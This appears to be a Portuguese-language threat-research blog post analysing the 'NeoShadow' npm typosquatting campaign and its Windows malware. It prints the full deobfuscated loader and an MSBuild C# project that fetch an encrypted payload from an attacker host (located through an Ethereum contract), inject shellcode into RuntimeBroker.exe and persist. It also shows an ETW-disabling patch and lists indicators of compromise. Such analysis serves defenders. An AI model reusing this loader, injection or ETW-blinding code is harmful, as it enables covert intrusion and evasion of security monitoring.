Aikido

JavaScript, MSBuild e Blockchain: Anatomia do Ataque à Cadeia de Suprimentos npm NeoShadow

Charlie EriksenCharlie Eriksen
|
#
#

Em 30 de dezembro, um súbito aumento de novos pacotes npm de um único autor chamou nossa atenção. Nosso motor de análise sinalizou vários deles como suspeitos logo após aparecerem. Estamos chamando esta campanha/ator de ameaça de "NeoShadow", com base em um identificador comum visto em seu payload de estágio 2. Os pacotes identificados foram:

  • viem-js
  • cyrpto
  • tailwin
  • supabase-js

Todos foram lançados pelo usuário cjh97123. Todos são pacotes de typo-squatting, o que não é novidade. Mas ficamos intrigados com o malware real que encontramos dentro deles. Não apenas descobrimos que a ofuscação não era facilmente desofuscada por ferramentas comuns, mas também pudemos perceber que o malware estava fazendo coisas bastante inovadoras. Então, nos propusemos a melhorar nossas cadeias de ferramentas de desofuscação mais uma vez e a desvendar este malware.

Estágio 0 - JS Malicioso no npm

A primeira parte de nossa investigação começa com este arquivo de setup, mas esteja avisado: ele logo nos levará a territórios estranhos e maravilhosos. Este arquivo JavaScript, localizado em scripts/setup.js em todos os pacotes, serve como um loader multi-estágio, exclusivo para Windows. Seu comportamento pode ser resumido nas seguintes etapas ordenadas:

1️⃣ Validação de Plataforma e Ambiente

  • 🪟 Confirma a execução em Windows
  • 🧪 Aplica uma heurística anti-análise contando as entradas do Log de Eventos do Sistema Windows
  • 🚫 Encerra precocemente em ambientes de baixa atividade ou semelhantes a sandboxes

2️⃣ Configuração Dinâmica via Blockchain

  • ⛓️ Consulta um smart contract Ethereum usando a API eth_call da Etherscan
  • 📤 Extrai uma string armazenada dinamicamente de dados on-chain
  • 🌐 Trata o valor decodificado como uma URL base de C2
  • 🔁 Recorre a um domínio hardcoded se a consulta na blockchain falhar

3️⃣ Aquisição de Payload Secreto

  • 📡 Solicita um arquivo JavaScript remoto disfarçado de analytics
  • 🫥 Localiza um blob codificado em Base64 oculto dentro de um comentário em bloco
  • 📦 Usa o comentário apenas como um Container de payload, não como código executável

4️⃣ Execução Living-off-the-Land (MSBuild)

  • 🛠️ Escreve um temporário projeto MSBuild (.proj) arquivo
  • 🧬 Incorpora código C# inline usando CodeTaskFactory
  • 🚫 Executa sem descartar ou compilar um executável autônomo
  • 🧾 Depende de um binário confiável do Windows (MSBuild.exe)

5️⃣ Descriptografia de Payload

  • 🔐 Decodifica o payload Base64
  • 🔑 Deriva uma chave RC4 aplicando máscara XOR nos primeiros 16 bytes
  • 🔓 Descriptografa o payload restante na memória

6️⃣ Injeção e Execução de Processo

  • 🧠 Inicia RuntimeBroker.exe em estado suspenso
  • 💉 Aloca memória no processo remoto
    ✍️ Escreve o shellcode descriptografado
  • ⚡ Executa via APC injection (QueueUserAPC + ResumeThread)

7️⃣ Implantação de Artefato Secundário

  • 📥 Opcionalmente baixa um arquivo de configuração subsequente
  • 📁 Persiste-o em: %APPDATA%\Microsoft\CLR\config.proj

É bastante. Se você estiver curioso, aqui está o código real após nossa desobfuscação:

const {
  execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
  if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
  const _0x40ca65 = require("https");
  return new Promise(_0x18a121 => {
    _0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
      const _0x5a6f92 = {
        xSUuD: function (_0x8e23dc, _0x473cc1) {
          return _0x8e23dc !== _0x473cc1;
        },
        kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
          return _0x291b51(_0x45ee39, _0x314df2);
        },
        TSNUY: function (_0x551c1c, _0xa10773) {
          return _0x551c1c * _0xa10773;
        },
        IxNWN: function (_0x5bf459, _0x3b5803) {
          return _0x5bf459 < _0x3b5803;
        },
        TNyat: function (_0x2a4142, _0x55bc29) {
          return _0x2a4142 + _0x55bc29;
        },
        jmkEP: "http",
        bpmxg: function (_0x596591, _0x2230d0) {
          return _0x596591(_0x2230d0);
        }
      };
      let _0x44c1fc = "";
      _0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
      _0xc12477.on("end", () => {
        try {
          const _0x19ede0 = JSON.parse(_0x44c1fc);
          if (_0x19ede0.result && _0x19ede0.result !== "0x") {
            const _0x501fdb = _0x19ede0.result.slice(2);
            const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
            const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
            let _0x2d977d = "";
            for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
              _0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
            }
            if (_0x2d977d.startsWith("http")) {
              _0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
              return;
            }
          }
        } catch (_0x34b9f3) {}
        _0x18a121(null);
      });
    }).on("error", () => _0x18a121(null));
  });
}
function a0_0x1c5097() {
  if (a0_0x363405.platform() !== "win32") return false;
  try {
    const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
      encoding: "utf8",
      windowsHide: true,
      timeout: 10000
    }).trim();
    return parseInt(_0x5962fa, 10) >= 3000;
  } catch (_0x3c40cc) {
    return false;
  }
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
  const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
  const _0x1d3b60 = a0_0x363405.tmpdir();
  const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
  a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n    byte[] s = new byte[256];\n    for (int i = 0; i < 256; i++) s[i] = (byte)i;\n    int j = 0;\n    for (int i = 0; i < 256; i++) {\n        j = (j + s[i] + key[i % key.Length]) & 0xFF;\n        byte t = s[i]; s[i] = s[j]; s[j] = t;\n    }\n    byte[] o = new byte[data.Length];\n    int x = 0, y = 0;\n    for (int k = 0; k < data.Length; k++) {\n        x = (x + 1) & 0xFF;\n        y = (y + s[x]) & 0xFF;\n        byte t = s[x]; s[x] = s[y]; s[y] = t;\n        o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n    }\n    return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n    byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n    byte[] key = new byte[16];\n    for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n    byte[] enc = new byte[payload.Length - 16];\n    Array.Copy(payload, 16, enc, 0, enc.Length);\n    return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
  try {
    a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
      windowsHide: true,
      timeout: 30000,
      stdio: "ignore"
    });
  } catch (_0x48f097) {}
  try {
    a0_0x651569.unlinkSync(_0x112a23);
  } catch (_0x245ac6) {}
  return true;
}
async function a0_0x46b335() {
  if (a0_0x363405.platform() !== "win32") return;
  if (!a0_0x1c5097()) return;
  try {
    const _0x2186b3 = require("https");
    let _0x6212ce = await a0_0x2da91a();
    if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
    if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
    const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
    const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
      _0x2186b3.get(_0xe78890, _0x891520 => {
        let _0x470b55 = "";
        _0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
        _0x891520.on("end", () => _0x3a7450(_0x470b55));
      }).on("error", _0x340a89);
    });
    const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
    if (!_0x168fcf || !_0x168fcf[1]) return;
    a0_0x218fb4(_0x168fcf[1], _0x6212ce);
  } catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});

Isso nos permite ver a lógica com mais clareza. É uma abordagem inovadora usar MSBuild e código C#. Assim como na outra versão, ele tenta baixar o payload de https://metrics-flow[.]com/assets/js/analytics.min.js e descriptografá-lo com uma chave RC4. 

Estágio 1 - Que MSBuild é esse? 

Uma coisa que você notará no código é que ele tenta obter o arquivo _next/data/config.json do domínio C2. Então eu o obtive, e ele retornou uma versão melhor do script MSBuild:

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);

static byte[] RC4(byte[] data, byte[] key) {
    byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
    int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
    byte[] o = new byte[data.Length]; int x = 0, y = 0;
    for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
    return o;
}

static string GetC2FromEth(string contract, string apiKey) {
    if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
    try {
        var w = new WebClient();
        var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
        var json = w.DownloadString(url);
        var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
        if (!m.Success) return null;
        var hex = m.Groups[1].Value.Substring(2);
        if (hex.Length < 130) return null;
        var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
        if (strLen <= 0 || strLen > 500) return null;
        var strHex = hex.Substring(128, strLen * 2);
        var chars = new char[strLen];
        for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
        var c2 = new string(chars);
        return c2.StartsWith("http") ? c2 : null;
    } catch { return null; }
}

public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;

var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);

SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>

Isso nos permite ver a lógica com mais clareza. É uma abordagem inovadora usar MSBuild e código C#. Assim como na outra versão, ele tenta baixar o payload de https://metrics-flow[.]com/assets/js/analytics.min.js e descriptografá-lo com uma chave RC4. 

Estágio 2 - Análise de shellcode

Neste ponto, ficamos naturalmente curiosos sobre o que justificava o esforço por trás de um mecanismo de entrega tão inovador. Após descriptografar o payload, descobrimos que ele continha shellcode, como esperado. 

Ao analisar os bytes brutos do payload descriptografado, dois nomes imediatamente nos chamaram a atenção: NeoShadowV2DeriveKey2026 e Global\NSV2_8e4b1d. A ligação entre eles é difícil de ignorar. NS é uma abreviação natural para NeoShadow, e ambas as strings compartilham o mesmo V2 marcador. Juntos, estes não parecem acidentais ou genéricos; eles se assemelham a rótulos internos dos autores. Com base nesta consistência, nos referimos ao ator de ameaça por trás desta atividade como NeoShadow. Ver a mesma nomenclatura aparecer em rotinas criptográficas e controles de execução confere ao malware uma identidade clara e sugere um conjunto de ferramentas deliberadamente versionado e ativamente mantido, em vez de um experimento isolado.

Em seguida, executamos o shellcode através do Binary Ninja, que imediatamente produziu uma versão C semi-legível. Apenas.. São 4000 linhas de C feio. 🥹

Então, alimentamos isso ao Claude para obter uma versão mais limpa. E, de fato, ele gerou uma versão do código C de 1900 linhas, agradável e legível. Isso nos leva à próxima parte da nossa aventura.

Estágio 3 - Um rato na build

O payload final é um backdoor completo projetado para acesso de longo prazo. Uma vez em execução, ele entra em um loop de beacon, verificando o servidor C2, reportando informações do sistema e buscando comandos. O implante é leve por design: ele estabelece acesso e fornece uma primitiva de execução, enquanto toda a funcionalidade de pós-exploração é enviada como módulos descartáveis.

Comportamento do Beacon

  • 📡 Envia check-ins criptografados via HTTPS POST
  • 🪪 Inclui fingerprint do host: nome do computador, nome de usuário, ID do agente
  • 🔀 Randomiza caminhos de URL para mimetizar tráfego legítimo (/assets/js/, /api/v1/, /wp-content/, etc.)
  • 🏳️‍🌈 Marca requisições com o X-Agent-Id header para rastreamento da vítima
  • ⏲️ Suporta intervalo de sleep configurável com jitter (padrão 20%)

Criptografia

Todo o tráfego C2 é criptografado com ChaCha20, uma cifra de fluxo preferida por sua velocidade e segurança. As chaves são estabelecidas via Curve25519 ECDH. 

Conjunto de Comandos

Os operadores têm três comandos à sua disposição:

sleep
  • ⏱️ Ajusta o intervalo do beacon em tempo real
  • 🔇 Permite que os operadores fiquem em silêncio durante as fases de persistência ou acelerem para engajamento ativo
módulo
  • 🌐 Busca o payload de uma URL
  • 📦 Se for uma DLL: localiza ReflectiveLoader exporta, injeta sem tocar no disco
  • 💉 Se for shellcode: injeta diretamente em RuntimeBroker.exe via injeção APC
  • 🧰 Mecanismo principal para a implantação de ferramentas de pós-exploração 
injetar
  • 🔧 Aceita shellcode codificado em base64 diretamente no comando
  • 🔒 Mantém tudo dentro do canal C2 criptografado
  • ⚡ Mesmo caminho de injeção que o módulo, apenas sem o fetch de rede

Tratamento de Resposta

  • ✅ Retorna OK ou DLL OK em caso de sucesso
  • ❌ Erros descritivos: Error: alloc, Error: fetch, Error: decode, Error: inject, Error: not PE
  • 📤 DLLs injetadas podem escrever em um buffer compartilhado que é exfiltrado na resposta
  • 🔁 Toda a comunicação usa a mesma criptografia ChaCha20 que o beacon

Este pequeno e minimalista Trojan de Acesso Remoto (RAT) é bastante engenhoso. Sua única função é estabelecer um link C2 persistente e atuar como um carregador de primeira fase para malwares mais potentes. Isso fornece aos atacantes um ponto de entrada flexível e discreto para implantar ferramentas secundárias (por exemplo, keyloggers ou ransomware) e escalar o ataque à vontade.

Recursos interessantes

O malware contém alguns recursos engenhosos para tentar se esconder e seu servidor C2, que descrevemos abaixo. 

🙈Cegando o Host: Patching de ETW

Event Tracing for Windows é o sistema nervoso da telemetria moderna do Windows. Quando um assembly .NET é carregado, o ETW o detecta. Quando o PowerShell executa um bloco de script, o ETW o registra. Quando um processo é iniciado, um thread é criado, uma DLL é carregada, uma conexão de rede é estabelecida, eventos ETW são emitidos e produtos de segurança os consomem. Plataformas de segurança, incluindo soluções de detecção e resposta de endpoint (EDR) e ferramentas SIEM, dependem fortemente do ETW para detecção. Desabilitar o ETW prejudica gravemente a visibilidade dessas ferramentas de segurança. Note que esta não é uma técnica nova; ela é bem conhecida há anos.

O implante faz exatamente isso. Antes de estabelecer comunicações C2 ou realizar qualquer atividade suspeita, ele localiza NtTraceEvent em ntdll.dll, a função de baixo nível pela qual toda a emissão de eventos ETW eventualmente passa. Ele resolve o endereço através de sua resolução de API padrão baseada em hash (hash 0xDECFC1BF), então chama VirtualProtect para tornar a memória da função gravável:

char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);

DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);

Com acesso de escrita em mãos, ele sobrescreve os primeiros quatro bytes da função com um stub simples que retorna sucesso sem fazer nada:

// Before patching
NtTraceEvent:
    4c 8b d1          mov r10, rcx
    b8 XX XX 00 00    mov eax, <syscall#>
    0f 05             syscall
    c3                ret

// After patching  
NtTraceEvent:
    48 33 c0          xor rax, rax    ; rax = 0 (STATUS_SUCCESS)
    c3                ret              ; return immediately

É isso. Quatro bytes, 48 33 C0 C3, e todo evento ETW no sistema para de ser disparado. A função retorna STATUS_SUCCESS para que os chamadores não apresentem erros ou tentem novamente, mas nenhum evento chega ao kernel. Produtos de segurança que consultam provedores ETW recebem silêncio.

🙈Camuflagem de Servidor C2

Então, verificamos o domínio C2 metrics-flow[.]com, e demos boas risadas da tentativa dos atacantes de se camuflarem. Eles construíram uma camada inteligente de segurança projetada para despistar ferramentas automatizadas e pesquisadores humanos. Ao acessar a página principal, você não obtém o mesmo conteúdo duas vezes. Em vez disso, o servidor entrega um conjunto completamente aleatório de conteúdo falso, fazendo com que pareça um site totalmente normal e não malicioso. Muito astuto, e isso facilitará a identificação dos servidores C2 para pesquisadores no futuro. 😀

Domínio C2

O domínio C2 foi registrado aproximadamente na mesma época em que o malware foi publicado pela primeira vez no npm, em 30 de dezembro de 2025, conforme visto nas informações do whois:

Alterações da Versão 2

Toda a análise até este ponto é baseada na versão implantada em 30 de dezembro de 2025. Outra versão dos pacotes foi implantada em 2 de janeiro de 2026. A mudança mais notável é que um executável do Windows, analytics.node, também está incluído. Notamos que nenhum AV no VirusTotal o detectou como malicioso:

https://www.virustotal.com/gui/file/012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07/detection

Além disso, o arquivo JavaScript foi ofuscado de forma diferente e é mais desafiador de desofuscar do que a versão original, com o que parecem ser novas técnicas de ofuscação incluídas na versão. 

Também obtemos outra referência ao projeto sendo chamado NeoShadow: C:\\Users\\admin\\Desktop\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb

Conclusão 

No momento, não tentamos recuperar um payload dinâmico do servidor C2. No entanto, vimos claramente uma tentativa bem-engenheirada de entregar o que acreditamos ser um malware novo como parte de uma campanha maior e anteriormente indocumentada, que construiu seu próprio servidor C2, RAT, mecanismo de entrega e técnicas de camuflagem para ocultar seu servidor C2. 

🚨 Indicadores de comprometimento

  • Domínio: metrics-flow[.]com
  • Endereço IP: 80.78.22[.]206
  • Binário012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07
  • Endereço Ethereum: 0x13660FD7Edc862377e799b0Caf68f99a2939B5cC
  • Nome do Mutex: Global\NSV2_8e4b1d
  • Pacotes NPM:
    • viem-js
    • cyrpto
    • tailwin
    • supabase-js

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.